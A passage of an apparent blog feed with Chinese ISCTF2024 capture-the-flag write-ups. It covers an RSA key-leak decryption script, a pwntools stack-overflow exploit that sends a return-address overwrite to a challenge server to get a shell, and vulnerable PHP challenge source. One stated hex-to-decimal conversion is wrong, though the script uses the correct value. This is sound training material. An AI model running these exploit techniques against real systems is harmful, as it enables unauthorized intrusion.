<span class="line">c= 8989289659072309605793417141528767265266446236550650613514493589798432446586991233583435051268377555448062724563967695425657559568596372723980081067589103919296476501677424322525079257328042851349095575718347302884996529329066703597604694781627113384086536158793653551546025090807063130353950841148535682974762381044510423210397947080397718080033363000599995100765708244828566873128882878164321817156170983773105693537799111546309755235573342169431295776881832991533489235535981382958295960435126843833532716436804949502318851112378495533302256759494573250596802016112398817816155228378089079806308296705261876583997</span>
<span class="line">n= 13424018200035368603483071894166480724482952594135293395398366121467209427078817227870501294732149372214083432516059795712917132804111155585926502759533393295089100965059106772393520277313184519450478832376508528256865861027444446718552169503579478134286009893965458507369983396982525906466073384013443851551139147777507283791250268462136554061959016630318688169168797939873600493494258467352326974238472394214986505312411729432927489878418792288365594455065912126527908319239444514857325441614280498882524432151918146061570116187524918358453036228204087993064505391742062288050068745930452767100091519798860487150247</span>
<span class="line">leak= 9192002086528025412361053058922669469031188193149143635074798633855112230489479254740324032262690315813650428270911079121913869290893574897752990491429582640499542165616254566396564016734157323265631446079744216458719690853526969359930225042993006404843355356540487296896949431969541367144841985153231095140361069256753593550199420993461786814074270171257117410848796614931926182811404655619662690700351986753661502438299236428991412206196135090756862851230228396476709412020941670878645924203989895008014836619321109848938770269989596541278600166088022166386213646074764712810133558692545401032391239330088256431881</span>
<span class="line">"""</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div>]]></summary>
    <content type="html"><![CDATA[<h3>原题</h3>
<div class="language-python line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="py" style="--vp-collapsed-lines:15;"><pre><code class="language-python"><span class="line"><span class="token keyword">import</span> libnum</span>
<span class="line"><span class="token keyword">import</span> gmpy2</span>
<span class="line"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Util<span class="token punctuation">.</span>number <span class="token keyword">import</span> <span class="token operator">*</span></span>
<span class="line"></span>
<span class="line">flag<span class="token operator">=</span><span class="token string">b'ISCTF{********}'</span></span>
<span class="line">m<span class="token operator">=</span>bytes_to_long<span class="token punctuation">(</span>flag<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">p<span class="token operator">=</span>libnum<span class="token punctuation">.</span>generate_prime<span class="token punctuation">(</span><span class="token number">1024</span><span class="token punctuation">)</span></span>
<span class="line">q<span class="token operator">=</span>libnum<span class="token punctuation">.</span>generate_prime<span class="token punctuation">(</span><span class="token number">1024</span><span class="token punctuation">)</span></span>
<span class="line">n<span class="token operator">=</span>p<span class="token operator">*</span>q</span>
<span class="line">e<span class="token operator">=</span><span class="token number">0x10001</span></span>
<span class="line">c<span class="token operator">=</span><span class="token builtin">pow</span><span class="token punctuation">(</span>m<span class="token punctuation">,</span>e<span class="token punctuation">,</span>n<span class="token punctuation">)</span></span>
<span class="line">d<span class="token operator">=</span>inverse<span class="token punctuation">(</span>e<span class="token punctuation">,</span><span class="token punctuation">(</span>p<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">*</span><span class="token punctuation">(</span>q<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line">leak <span class="token operator">=</span> <span class="token punctuation">(</span>d<span class="token operator">+</span><span class="token punctuation">(</span><span class="token builtin">pow</span><span class="token punctuation">(</span>p<span class="token punctuation">,</span>q<span class="token punctuation">,</span>n<span class="token punctuation">)</span><span class="token operator">+</span><span class="token builtin">pow</span><span class="token punctuation">(</span>q<span class="token punctuation">,</span>p<span class="token punctuation">,</span>n<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">%</span>n</span>
<span class="line"></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"c="</span><span class="token punctuation">,</span> c<span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"n="</span><span class="token punctuation">,</span> n<span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"leak="</span><span class="token punctuation">,</span> leak<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token triple-quoted-string string">"""</span>
<span class="line">c= 8989289659072309605793417141528767265266446236550650613514493589798432446586991233583435051268377555448062724563967695425657559568596372723980081067589103919296476501677424322525079257328042851349095575718347302884996529329066703597604694781627113384086536158793653551546025090807063130353950841148535682974762381044510423210397947080397718080033363000599995100765708244828566873128882878164321817156170983773105693537799111546309755235573342169431295776881832991533489235535981382958295960435126843833532716436804949502318851112378495533302256759494573250596802016112398817816155228378089079806308296705261876583997</span>
<span class="line">n= 13424018200035368603483071894166480724482952594135293395398366121467209427078817227870501294732149372214083432516059795712917132804111155585926502759533393295089100965059106772393520277313184519450478832376508528256865861027444446718552169503579478134286009893965458507369983396982525906466073384013443851551139147777507283791250268462136554061959016630318688169168797939873600493494258467352326974238472394214986505312411729432927489878418792288365594455065912126527908319239444514857325441614280498882524432151918146061570116187524918358453036228204087993064505391742062288050068745930452767100091519798860487150247</span>
<span class="line">leak= 9192002086528025412361053058922669469031188193149143635074798633855112230489479254740324032262690315813650428270911079121913869290893574897752990491429582640499542165616254566396564016734157323265631446079744216458719690853526969359930225042993006404843355356540487296896949431969541367144841985153231095140361069256753593550199420993461786814074270171257117410848796614931926182811404655619662690700351986753661502438299236428991412206196135090756862851230228396476709412020941670878645924203989895008014836619321109848938770269989596541278600166088022166386213646074764712810133558692545401032391239330088256431881</span>
<span class="line">"""</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>编写一个 Payload 用于解决这道题。</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Util<span class="token punctuation">.</span>number <span class="token keyword">import</span> long_to_bytes</span>
<span class="line">c <span class="token operator">=</span> <span class="token number">8989289659072309605793417141528767265266446236550650613514493589798432446586991233583435051268377555448062724563967695425657559568596372723980081067589103919296476501677424322525079257328042851349095575718347302884996529329066703597604694781627113384086536158793653551546025090807063130353950841148535682974762381044510423210397947080397718080033363000599995100765708244828566873128882878164321817156170983773105693537799111546309755235573342169431295776881832991533489235535981382958295960435126843833532716436804949502318851112378495533302256759494573250596802016112398817816155228378089079806308296705261876583997</span></span>
<span class="line">n <span class="token operator">=</span> <span class="token number">13424018200035368603483071894166480724482952594135293395398366121467209427078817227870501294732149372214083432516059795712917132804111155585926502759533393295089100965059106772393520277313184519450478832376508528256865861027444446718552169503579478134286009893965458507369983396982525906466073384013443851551139147777507283791250268462136554061959016630318688169168797939873600493494258467352326974238472394214986505312411729432927489878418792288365594455065912126527908319239444514857325441614280498882524432151918146061570116187524918358453036228204087993064505391742062288050068745930452767100091519798860487150247</span></span>
<span class="line">leak <span class="token operator">=</span> <span class="token number">9192002086528025412361053058922669469031188193149143635074798633855112230489479254740324032262690315813650428270911079121913869290893574897752990491429582640499542165616254566396564016734157323265631446079744216458719690853526969359930225042993006404843355356540487296896949431969541367144841985153231095140361069256753593550199420993461786814074270171257117410848796614931926182811404655619662690700351986753661502438299236428991412206196135090756862851230228396476709412020941670878645924203989895008014836619321109848938770269989596541278600166088022166386213646074764712810133558692545401032391239330088256431881</span></span>
<span class="line">m <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>c<span class="token punctuation">,</span> leak<span class="token operator">-</span>n<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span> n<span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span>long_to_bytes<span class="token punctuation">(</span>m<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content>
    <category term="CTF"/>
    <published>2024-12-10T08:55:12.000Z</published>
  </entry>
  <entry>
    <title type="text">栈溢出 | ISCTF2024 | PWN girlfriend</title>
    <id>https://www.hestudio.net/posts/girlfriend-isctf2024.html</id>
    <link href="https://www.hestudio.net/posts/girlfriend-isctf2024.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>打开 IDA，并分析代码。</p>
<div class="language-c line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="c" style="--vp-collapsed-lines:15;"><pre><code class="language-c"><span class="line"><span class="token keyword">int</span> __fastcall <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">char</span> <span class="token operator">*</span><span class="token operator">*</span>argv<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">char</span> <span class="token operator">*</span><span class="token operator">*</span>envp<span class="token punctuation">)</span></span>
<span class="line"><span class="token punctuation">{</span></span>
<span class="line">  _BYTE buf<span class="token punctuation">[</span><span class="token number">40</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// [rsp+0h] [rbp-30h] BYREF</span></span>
<span class="line">  <span class="token keyword">char</span> s1<span class="token punctuation">[</span><span class="token number">8</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// [rsp+28h] [rbp-8h] BYREF</span></span>
<span class="line"></span>
<span class="line">  <span class="token function">init</span><span class="token punctuation">(</span>argc<span class="token punctuation">,</span> argv<span class="token punctuation">,</span> envp<span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"welcome to isctf2024"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"first i need your team id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token function">read</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> buf<span class="token punctuation">,</span> <span class="token number">0x30uLL</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token function">strcmp</span><span class="token punctuation">(</span>s1<span class="token punctuation">,</span> <span class="token string">"admin"</span><span class="token punctuation">)</span> <span class="token punctuation">)</span></span>
<span class="line">  <span class="token punctuation">{</span></span>
<span class="line">    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"no no no"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token function">exit</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token punctuation">}</span></span>
<span class="line">  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"ok, go on"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token function">vuln</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div>]]></summary>
    <content type="html"><![CDATA[<p>打开 IDA，并分析代码。</p>
<div class="language-c line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="c" style="--vp-collapsed-lines:15;"><pre><code class="language-c"><span class="line"><span class="token keyword">int</span> __fastcall <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">char</span> <span class="token operator">*</span><span class="token operator">*</span>argv<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">char</span> <span class="token operator">*</span><span class="token operator">*</span>envp<span class="token punctuation">)</span></span>
<span class="line"><span class="token punctuation">{</span></span>
<span class="line">  _BYTE buf<span class="token punctuation">[</span><span class="token number">40</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// [rsp+0h] [rbp-30h] BYREF</span></span>
<span class="line">  <span class="token keyword">char</span> s1<span class="token punctuation">[</span><span class="token number">8</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// [rsp+28h] [rbp-8h] BYREF</span></span>
<span class="line"></span>
<span class="line">  <span class="token function">init</span><span class="token punctuation">(</span>argc<span class="token punctuation">,</span> argv<span class="token punctuation">,</span> envp<span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"welcome to isctf2024"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"first i need your team id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token function">read</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> buf<span class="token punctuation">,</span> <span class="token number">0x30uLL</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token function">strcmp</span><span class="token punctuation">(</span>s1<span class="token punctuation">,</span> <span class="token string">"admin"</span><span class="token punctuation">)</span> <span class="token punctuation">)</span></span>
<span class="line">  <span class="token punctuation">{</span></span>
<span class="line">    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"no no no"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token function">exit</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token punctuation">}</span></span>
<span class="line">  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"ok, go on"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token function">vuln</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>遵循着有事先溢出的原则，<code>buf</code>可以储存 40 个字节。我们需要运行<code>vuln()</code>函数，编写以下 Payload 来绕过<code>strcmp(s1, "admin")</code></p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">payload <span class="token operator">=</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">40</span> <span class="token operator">+</span> <span class="token string">b'admin'</span></span>
<span class="line">connection<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload<span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><p>继续分析文件，发现可以溢出到<code>0x000000000040121E</code>这个位置来执行 Shell</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fb6e8d11a.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>我们再来看一眼<code>vuln()</code>代码:</p>
<div class="language-c line-numbers-mode" data-highlighter="prismjs" data-ext="c"><pre><code class="language-c"><span class="line">__int64 <span class="token function">vuln</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token punctuation">{</span></span>
<span class="line">  __int64 result<span class="token punctuation">;</span> <span class="token comment">// rax</span></span>
<span class="line">  __int64 i<span class="token punctuation">;</span> <span class="token comment">// [rsp+28h] [rbp-8h]</span></span>
<span class="line"></span>
<span class="line">  <span class="token keyword">for</span> <span class="token punctuation">(</span> i <span class="token operator">=</span> <span class="token number">0LL</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> <span class="token number">7</span><span class="token punctuation">;</span> <span class="token operator">++</span>i <span class="token punctuation">)</span></span>
<span class="line">  <span class="token punctuation">{</span></span>
<span class="line">    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"please input your %d girlfriend birthday\n"</span><span class="token punctuation">,</span> i <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    result <span class="token operator">=</span> <span class="token function">__isoc99_scanf</span><span class="token punctuation">(</span><span class="token string">"%ld"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token punctuation">}</span></span>
<span class="line">  <span class="token keyword">return</span> result<span class="token punctuation">;</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p><code>0x000000000040121E</code>对应的十进制为<code>4198932</code></p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fb85b62e5.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>通过栈溢出实现执行 Shell，编写 Payload 脚本实现，以下是完整的 Payload 脚本。</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span></span>
<span class="line">connection <span class="token operator">=</span> remote<span class="token punctuation">(</span><span class="token string">'27.25.151.12'</span><span class="token punctuation">,</span> <span class="token number">31274</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">payload <span class="token operator">=</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">40</span> <span class="token operator">+</span> <span class="token string">b'admin'</span></span>
<span class="line">connection<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">response_sequence <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">b'1'</span><span class="token punctuation">,</span> <span class="token string">b'1'</span><span class="token punctuation">,</span> <span class="token string">b'3'</span><span class="token punctuation">,</span> <span class="token string">b'3'</span><span class="token punctuation">,</span> <span class="token string">b'4'</span><span class="token punctuation">,</span> <span class="token string">b'5'</span><span class="token punctuation">,</span> <span class="token string">b'6'</span><span class="token punctuation">,</span> <span class="token string">b'4198942'</span><span class="token punctuation">]</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">for</span> response <span class="token keyword">in</span> response_sequence<span class="token punctuation">:</span></span>
<span class="line">    connection<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'birthday'</span><span class="token punctuation">)</span></span>
<span class="line">    connection<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>response<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">connection<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content>
    <category term="CTF"/>
    <published>2024-12-10T08:55:12.000Z</published>
  </entry>
  <entry>
    <title type="text">PHP特性利用 | ISCTF2024 | Web 小蓝鲨的冒险</title>
    <id>https://www.hestudio.net/posts/php-iscrf2024.html</id>
    <link href="https://www.hestudio.net/posts/php-iscrf2024.html"/>
    <updated>2024-12-11T08:20:15.000Z</updated>
    <summary type="html"><![CDATA[<h3>原题</h3>
<div class="language-php line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="php" style="--vp-collapsed-lines:15;"><pre><code class="language-php"><span class="line"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span></span>
<span class="line"><span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token variable">$a</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"isctf2024"</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token variable">$b</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"b"</span><span class="token punctuation">]</span><span class="token punctuation">;</span></span>
<span class="line">@<span class="token function">parse_str</span><span class="token punctuation">(</span><span class="token variable">$b</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token keyword">echo</span> <span class="token string double-quoted-string">"小蓝鲨开始闯关，你能帮助他拿到flag吗?&lt;br&gt;"</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$a</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token string single-quoted-string">'QNKCDZO'</span> <span class="token operator">&amp;&amp;</span> <span class="token function">md5</span><span class="token punctuation">(</span><span class="token variable">$a</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token function">md5</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'QNKCDZO'</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token variable">$num</span> <span class="token operator">=</span> <span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"num"</span><span class="token punctuation">]</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token keyword">echo</span> <span class="token string double-quoted-string">"第一关有惊无险！小蓝鲨壮着胆子接着继续往下走！&lt;br&gt;"</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$num</span> <span class="token operator">==</span> <span class="token number">2024</span><span class="token punctuation">)</span><span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"QAQ小蓝鲨误入陷阱，不怕，再接再厉！"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line">    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"/[a-z]/i"</span><span class="token punctuation">,</span> <span class="token variable">$num</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"陷阱太多QAQ"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line">    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">intval</span><span class="token punctuation">(</span><span class="token variable">$num</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">2024</span><span class="token punctuation">)</span><span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">echo</span> <span class="token string double-quoted-string">"到这了难道还要放弃吗？&lt;br&gt;"</span><span class="token punctuation">;</span></span>
<span class="line">        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'which'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span></span>
<span class="line">            <span class="token variable">$which</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'which'</span><span class="token punctuation">]</span><span class="token punctuation">;</span></span>
<span class="line">            <span class="token keyword">echo</span> <span class="token string double-quoted-string">"小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油，还差最后一步了！"</span><span class="token punctuation">;</span></span>
<span class="line">            <span class="token keyword">switch</span> <span class="token punctuation">(</span><span class="token variable">$which</span><span class="token punctuation">)</span><span class="token punctuation">{</span></span>
<span class="line">                <span class="token keyword">case</span> <span class="token number">0</span><span class="token punctuation">:</span></span>
<span class="line">                    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'QAQ'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">                <span class="token keyword">case</span> <span class="token number">1</span><span class="token punctuation">:</span></span>
<span class="line">                <span class="token keyword">case</span> <span class="token number">2</span><span class="token punctuation">:</span></span>
<span class="line">                    <span class="token keyword">require_once</span> <span class="token variable">$which</span><span class="token operator">.</span><span class="token string single-quoted-string">'.php'</span><span class="token punctuation">;</span></span>
<span class="line">                    <span class="token keyword">echo</span> <span class="token variable">$flag</span><span class="token punctuation">;</span></span>
<span class="line">                    <span class="token keyword">break</span><span class="token punctuation">;</span></span>
<span class="line">                <span class="token keyword">default</span><span class="token punctuation">:</span></span>
<span class="line">                    <span class="token keyword">echo</span> <span class="token class-name static-context">GWF_HTML</span><span class="token operator">::</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'PHP-0817'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'Hacker NoNoNo!'</span><span class="token punctuation">,</span> <span class="token constant boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">                    <span class="token keyword">break</span><span class="token punctuation">;</span></span>
<span class="line">            <span class="token punctuation">}</span></span>
<span class="line">        <span class="token punctuation">}</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div>]]></summary>
    <content type="html"><![CDATA[<h3>原题</h3>
<div class="language-php line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="php" style="--vp-collapsed-lines:15;"><pre><code class="language-php"><span class="line"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span></span>
<span class="line"><span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token variable">$a</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"isctf2024"</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token variable">$b</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"b"</span><span class="token punctuation">]</span><span class="token punctuation">;</span></span>
